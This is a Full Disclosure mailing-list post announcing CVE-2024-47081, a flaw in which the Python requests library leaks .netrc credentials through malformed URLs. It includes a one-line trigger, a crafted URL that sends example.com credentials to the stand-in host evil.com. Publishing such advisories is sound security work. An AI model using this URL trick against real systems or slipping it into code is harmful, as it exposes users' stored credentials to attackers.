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CVE-2024-47081: Netrc credential leak in PSF requests library
Disclosure mailing list archives CVE-2024-47081: Netrc credential leak in PSF requests library From: Juho Forsén via Fulldisclosure <fulldisclosure () seclists org> Date: Sat, 31 May 2025 06:30:50 +0000 The PSF requests library (https://github.com/psf/requests & https://pypi.org/project/requests/) leaks .netrc credentials to third parties due to incorrect URL processing under specific conditions. Issuing the following API call triggers the vulnerability: requests.get('http://example.com:@evil.com/') Assuming .netrc credentials are configured for example.com, they are leaked to evil.com by the call.
From: Juho Forsén via Fulldisclosure <fulldisclosure () seclists org> Date: Sat, 31 May 2025 06:30:50 +0000 By Thread CVE-2024-47081: Netrc credential leak in PSF requests library Juho Forsén via Fulldisclosure (Jun 03)
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